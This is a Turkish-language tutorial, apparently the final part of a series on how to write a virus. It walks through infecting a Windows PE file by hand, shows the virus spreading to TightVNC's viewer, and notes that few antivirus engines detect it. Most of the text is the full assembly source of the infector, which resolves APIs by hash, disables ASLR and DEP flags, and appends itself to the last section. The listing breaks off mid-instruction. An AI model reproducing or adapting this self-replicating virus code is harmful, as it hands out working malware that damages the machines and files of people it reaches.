Derlenmiş olan kodumuza bir hex editör ile göz atalım.
Assemble edilmiş kodumuzun uzunluğu hex 52E uzunluğunda.
Bu kodu kobay uygulamamız olan ldp.exe’nin son section’ının sonuna elle yerleştireceğiz.
Kod bölümüzden sonra file alignment kısıtına uymak ve toplam hex 800 byte’lık alanı doldurmak için dosyayı “00” ile pad’liyoruz. (0x38200 – 0x37A00 = 0x800)
Bir sonraki aşamada ldp.exe’nin Address of Entry Point değerini orijinal değerinden bizim kodumuzun eklendiği bölümün adresine çevirmemiz lazım.
Neden 0x3A400’de 0x37A00 değil? Bu sorunun cevabı PE dosya formatında saklı. Çünkü PE dosya imajı hafızaya yüklendiğinde son section’ın bitiş adresi burası ve bu değeri son section header’ındaki RVA adresine Size of Raw Data’yı ekleyerek bulabiliriz (0x33000 + 0x7400 = 0x3A400):
Zararlı yazılım stratejimize göre orjinal başlangıç noktasını IMAGE_DOS_HEADER içinde OEM alanına saklamamız gerekiyordu (ikinci makalede bahsettiğimiz konuların tekrarı oluyor biliyorum, ama öğrenmek için tekrar iyidir).
Intel mimarisinde little endian konusunu daha önce konuşmuştuk.
Artık elle virüs bulaştırdığımız ldp.exe’yi başka bir çalıştırılabilir dosyaya virüsü bulaştırmak için kullanabiliriz. Daha önce de belirttiğim gibi virüs kodumuz tüm PE dosyalarında işe yaramıyor. Bunun nedeninin PE dosya başlık alanları içindeki bütünlük kurallarına uymak için gerekli düzenlemeleri yapmamamız olduğunu da belirtmiştik. Ancak yine de kodumuzun işe yaradığı dosyalar bulunabiliyor. Bunlardan birisi de Tight VNC (tvnviewer.exe) uygulaması.
Şimdi enfekte ldp.exe uygulamamız ile ismi “a.exe” olarak değiştirilmiş tvnviewer.exe uygulamasını aynı dizine yerleştirelim.
Şimdi enfekte uygulamamızı başlatalım.
Bakalım a.exe uygulamamız enfekte olmuş mu?
Address of entry point adresi oldukça ileri bir adres gibi görünüyor.
Bu adres son section’ın içinde olmalı. Virüsümüz işe yaramış olabilir.
a.exe dosyamızı immunity debugger ile çalıştırarak neler olduğunu inceleyelim.
Immunity debugger bizi uyarıyor, anti-virüs’lerden daha akıllı olduğunu aşağıda göreceksiniz.
F9 tuşuna bastığımızda uygulamamız Address of Entry Point noktasına ilerliyor ve bu noktada bekliyor.
Tekrar F9’a bastığımızda ise VNC Viewer’ın başarı ile çalıştığını görüyoruz.
Virüsümüz başarılı oldu diyebilmek için bu dosyanın da başka bir dosyaya virüsü bulaştırdığından emin olmalıyız. Bu konuda bana güvenebilirsiniz, virüs kendini tekrar temiz bir ldp.exe dosyasına (tabi adını a.exe olarak değiştirdikten sonra) bulaştırabiliyor.
Bu noktada malware analizi yapan arkadaşlara reversing bilgisinin ne kadar değerli olacağını göstermek istiyorum. Zira uygulamanın zararlı bölümü ne bir metin içeriyor, ne de import edilmiş bir fonksiyonu kullanıyor. Bu yüzden fonksiyonalitesini anlamak için satır satır disassemble edilmiş kodları okumak gerekiyor.
Şimdi a.exe’yi IDA Pro’ya yükleyerek zararlı kod nasıl görünüyor inceleyelim.
Kodu IDA Pro’da açtığımızda IDA Pro otomatik olarak Address of Entry Point noktasında tespit ettiği fonksiyonu görüntüledi.
Benim nahoş kodlamamın da katkısı ile zararlı yazılım gerçekten anlaşılması zor görünüyor.
Ancak yine de IDA Pro’nun Ascii karakter çevrim imkanından faydalanarak ilk bakışta biraz yol almak mümkün olacaktır:
Son olarak virüslü dosyamızı Virüs Total’e yükleyerek neler olacağını görelim.
56 antivirüs’ten sadece 3 tane.
Enfekte olma ihtimalini antivirüs olmayan Immunity Debugger’ın bile sırf Address of Entry Point’teki gariplikten anlamasına rağmen anti virüslerin bu kadar başarısız olması sanırım antivirüs üreticilerinin false positive’den ne kadar çekindiğini gösteriyor.
Aşağıdaki virüs kodumuz ile birlikte nasıl virüs yazılır makale serimizi tamamlamış bulunuyoruz.
[BITS 32] ; EAX hariç tüm genel amaçlı register'ları Shellcode'umuza girilmeden önceki halleri ile saklıyoruz push ebx ; callee saved register push esi ; callee saved register push edi ; callee saved register push ecx ; caller saved register push edx ; caller saved register push ebp ; stack frame tabanı push esp ; stack tavanı ;kernel32.dll modül adresinin bulunması push 0x772a2220 ; hash(kernel32.dll) call modul_bul ;EAX ile modül baz adresini döndürür add esp, 4; call parametre alanını geri veriyoruz ;LoadLibraryA fonksiyon adresinin bulunması (kernel32.dll kütüphanesinde) push eax ;kernel32.dll modül adresi push 0x583c436c ;hash(LoadLibraryA) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz ; LoadLibraryA fonksiyonunu çağırmak için "msvcr120.dll" string'ini stack'e yazıyoruz push 0 ; C string'in sonu push 0x6c6c642e ; "lld." push 0x30323172 ; "021r" push 0x6376736d ; "cvsm" push esp ;String'in stack'teki adresini stack'e yazıyoruz call eax ; call LoadLibraryA add esp, 16 ; call parametre alanını geri veriyoruz mov esi, eax ; ESI callee saved bir register olduğu için MSVCR120.DLL modülünün adresini bu register'da saklayacağız ; ESI = MSVCR120.DLL ;fopen fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x0442088e ;hash(fopen) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz ;Kurban dosyanın açılması push 0x00000065 ; "\0\0\0e" push 0x78652e61 ; "xe.a" mov ebx, esp ;Dosya adı string'inin stack'teki adresini EBX register'ına atıyoruz push 0x002b6272 ; "\0+br" push esp ;Dosya açma modu string'inin stack'teki adresini stack'e yazıyoruz push ebx ;Dosya adı string'inin stack'teki adresini stack'e yazıyoruz call eax ; call fopen("filename","r+") add esp, 20 ;Stack'te tükettiğimiz alanları ve fopen parametreleri için alınan alanı geri veriyoruz test eax, eax ;Eğer dosya mevcut ve başarı ile açıldıysa EAX register'ı 0'dan farklı bir değer olmalı jz son_nokta ; Dosya açılamadıysa uygulama akışını orjinal entry point'e yönlendirme noktasına atlıyoruz mov ebx, eax ; file handle'ını EBX register'ına atıyoruz (FILE *stream) ; #define SEEK_CUR 1 ; #define SEEK_END 2 ; #define SEEK_SET 0 ; int fseek(FILE *stream, long offset, int origin) ;fseek fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x0462085f ; hash(fseek) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz mov edi, eax ;fseek fonksiyonunun adresini EDI'a atıyoruz ; EDI = FSEEK push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push 0x24 ; OEM alanı offset değeri push ebx ; file handle'ı yukarıda EBX'e atılmıştı call edi ; call fseek(FILE *stream, long offset, int origin) add esp, 12 ;call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) ;fread fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push esi ; msvcr120.dll modül adresi push 0x04520858 ;hash(fread) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz mov ecx, eax ; fread fonksiyonunun adresini ECX'e yazıyoruz ; ECX = FREAD sub esp, 4 ; buffer için yer açıyoruz mov edx, esp ; buffer adresini EDX'e atıyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; ESP+4'teyiz ; OEM alanında yer alan veri 0'dan farklı ise dosya zaten infected olduğundan kodu sonlandırıyoruz mov eax, [esp] ; Buffer'daki değeri EAX'e atıyoruz add esp, 4 ; Buffer alanını geri veriyoruz (ESP'yi yine orjinal seviyesine indiriyoruz) ; ESP orjinal noktasında test eax, eax ; OEM alanındaki verinin 0 olup olmadığını kontrol ediyoruz jnz son_nokta ; Eğer 0'dan farklı ise daha önceden enfekte olmuştur, program orjinal noktadan devam edebilir ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Dosya İşlemleri ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; 1. AMAÇ: Address of Entry Point değerini oku ve OEM değerine yaz ; OEM alanına yazılan orjinal Address of Entry Point değeri shellcode'umuz çalıştıktan sonra uygulamanın normal akışına devam etmesi için kullanılacak ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; IMAGE_NT_HEADERS içinde 0x28 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Address of Entry Point değerini oku sub esp, 4 ; buffer için yer açıyoruz mov edx, esp ; buffer adresini EDX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; ESP+4'teyiz (EDX tarafından işaret ediliyor) ; OEM değerinin bulunduğu 0x24 offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push 0x24 ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push edx ; buffer call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz ; ESP orjinal noktasında ; 2. AMAÇ: Dosya'daki NX_COMPAT ve ASLR bit'lerini iptal et (ecx, edi ve ebx register'larına dokunmayacağız) ; DEP desteğini kaldırarak executable olmayan bir section'da da shellcode'umuzu çalıştırabileceğiz ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; IMAGE_NT_HEADERS içinde 0x5C offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics son 2 byte'ta push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Son 2 Byte'tında DLL Characteristics değeri bulunan veriyi oku sub esp, 4 ; buffer için yer aç mov edx, esp ; buffer adresini EDX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;Bu noktada son 2 Byte'ı DLL Characteristics değerini içeren değer ESP'nin işaret ettiği buffer'da ve bu adres aynı zamanda EDX register'ı tarafından işaret ediliyor pop edx ; Okuduğumuz DLL Characteristics değeri şu anda EDX'te ; ESP orjinal noktasında and edx, 0xFEBFFFFF ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitlerini sıfırlamak için AND işlemi gerçekleştiriyoruz push edx ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitleri sıfırlanmış DLL Characteristics değerini tekrar stack'e yazıyoruz ; ESP+4 mov edx, esp ; Buffer'ın adresini EDX'e atıyoruz ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; 0x5C offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push edx ; buffer call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz ; ESP orjinal noktasında ; 3. AMAÇ: Son section header'ı bul ve düzenle ; Dosyadaki section sayısını bularak son section'ın başlangıç adresini buluyoruz. Daha sonra bu section içindeki virtual ve fiziksel büyüklük değerlerini artırıyoruz. ; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin BAŞLANGICI ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor push eax ; IMAGE_NT_HEADERS offseti ; ESP+4 ; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin SONU ; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin BAŞLANGICI ; IMAGE_NT_HEADERS içinde 0x06 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x06 ; IMAGE_NT_HEADERS içinde 0x06 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Number of Sections değerini oku xor eax, eax push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz ; ESP+8 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 2 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;Bu noktada Number of Sections değeri ESP'nin işaret ettiği buffer'da. mov edx, [esp] ; Number of Sections değeri EDX'e atanıyor add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz ; ESP+4 ; Çarpma işlemi hazırlığı xor eax, eax mov al, 0x28 ; her bir section header'ın uzunluğu dec edx ; son section header'ın başına gitmeyi hedeflediğimizden section sayısını bir azaltıyoruz mul dl ; EDX = section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır ;Bu noktada AX ve dolayısıyla EAX register'ı son section hariç toplam section header uzunluğunu içeriyor push eax ; Son section hariç Toplam Section Header uzunluğunu stack'e yazıyoruz ; ESP+8 ; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin SONU ; Size of Optional Header'ın EDX register'ına saklanmasının BAŞLANGICI ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor ; IMAGE_NT_HEADERS içinde 0x14 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x14 ; IMAGE_NT_HEADERS içinde 0x14 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Size of Optional Header değerini oku xor eax, eax push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz ; ESP+12 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 2 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;Bu noktada Size of Optional Header değeri ESP'nin işaret ettiği buffer'da mov edx, [esp] ; Toplama işlemini EDX register'ı üzerinde yapacağız add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz ; ESP+8 ; Size of Optional Header'ın EDX register'ına saklanmasının SONU ;Bu noktada ;EDX'te Size of Optional Header ;ESP tarafından işaret edilen alanda son section hariç Toplam Section Header uzunluğu ;ESP+4 tarafından işaret edilen alanda IMAGE_NT_HEADERS offseti yer alıyor ;Son section header'ın başlangıcı = EDX + [ESP] + [ESP + 4] + 0x18 (Signature + IMAGE_FILE_HEADER) add edx, [esp] add edx, [esp + 4] add edx, 0x18 ; Bu noktada son section header'ın başlangıç offset'i EDX register'ında add esp, 8 ; Uzunluk bilgilerini saklamak için kullandığımız alanları (TOPLAM 8 BYTE) iade ediyoruz ; ESP orjinal noktasında ; Artık EDX register'ında bulunan offset bilgisini kullanarak section büyüklüklerini 0x800'er byte artırabiliriz ; VIRTUAL SIZE değerinin düzenlenmesi add edx, 0x08 ; Son section header'daki Virtual Size offset'i ; Son section header'daki Virtual Size offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Virtual Size değerini oku sub esp, 4 ; buffer için yer aç ; ESP+4 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov eax, [esp] add eax, 0x800 ; 0x800 byte artırmamızın ve orjinal virüs kodumuzda da 0x800 byte'ı doldurmamızın nedeni Virtual Size'ın fiziksel alandan küçük olması halinde payload'umuzun bir kısmının kırpılması riskini azaltmak add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz ; ESP orjinal noktasında push eax ; Yeni Virtual Size değerini stack'e kaydediyoruz ; ESP+4 mov ebp, esp ; Yeni Virtual Size değerinin tutulduğu buffer'ın adresini EBP'ye yazıyoruz ; Yeni Virtual Size'ı section header'a yaz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer * call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz ; ESP orjinal noktasında ; SIZE OF RAW DATA değerinin düzenlenmesi add edx, 0x08 ; Son section header'daki Size of Raw Data offset'i ; Son section header'daki Size of Raw Data offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Size of Raw Data değerini oku sub esp, 4 ; buffer için yer aç ; ESP+4 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov eax, [esp] add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz ; ESP orjinal noktasında push eax ; Orjinal Size of Raw Data değerini stack'e kaydediyoruz ; ESP+4 add eax, 0x800 ; Neden 0x800 byte eklediğimiz yukarıda açıklandı push eax ; Yeni Size of Raw Data değerini stack'e kaydediyoruz ; ESP+8 mov ebp, esp ; Dosyaya yazılacak olan yeni Size of Raw Data'nın buffer adresi EBP'ye atanıyor ; Yeni Size of Raw Data'yı section header'a yaz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer * call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı iade ediyoruz ; ESP+4 (Orjinal Size of Raw Data değeri stack'te) add edx, 0x04 ; Dosya'nın son section'ının sonuna payload'umuzun yazılması kısmında kullanmak üzere Dosya'nın son section header'ındaki Pointer to Raw Data offset'i hesaplıyoruz push edx ; Pointer to Raw Data offset'i sonra kullanılmak üzere STACK'e yazıyoruz - bu bilgi aşağıda kullanılacak ; ESP+8 (Pointer to Raw Data offset'i stack'te) ; 4. AMAÇ: Address of Entry Point'in son section'da payload'un yazılacağı adres olarak değiştirilmesi ; Bu noktada ESP -> Pointer to Raw Data offset'i, ESP+4 -> Orjinal Size of Raw Data'yı içeriyor sub edx, 0x08 ; EDX dosya'nın son Section Header'ının RVA offset'ine işaret ediyor push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push edx ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Son section'ın RVA değerini oku sub esp, 4 ; buffer için yer aç ; ESP+12 mov eax, esp ; buffer adresini EAX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push eax ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Bu noktada ESP buffer'ımıza işaret ediyor mov ebp, [esp] ; EBP son section header'daki RVA değerini içeriyor add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz ; ESP+8 add ebp, [esp+4]; Section RVA değerine Orjinal Size of Raw Data'yı ekliyoruz push ebp ; Payload'umuzun yazılacağı RVA değerini STACK'e buffer alanına yazıyoruz ; ESP+12 mov ebp, esp ; Buffer alanının adresini EBP'ye kaydediyoruz ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; IMAGE_NT_HEADERS içinde 0x28 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push ebp ; buffer call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp, 4 ; Payload'umuzun yazılacağı RVA değerini yazmak için kullandığımız buffer alanını iade ediyoruz ; ESP+8 ; 5. AMAÇ: Dosya'nın son section'ının sonuna payload'umuzun yazılması ; Payload'umuzun yazılacağı adresin belirlenmesi ; Yukarıda stack'e orjinal Size of Raw Data yazılmıştı ; Burada da Pointer to Raw Data bulunarak bu değere eklenecek ve payload yazma adresimizi bulacağız pop edx ; Son section header'daki Pointer to Raw Data offset'i ; ESP+4 ; Son section header'daki Pointer to Raw Data offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; 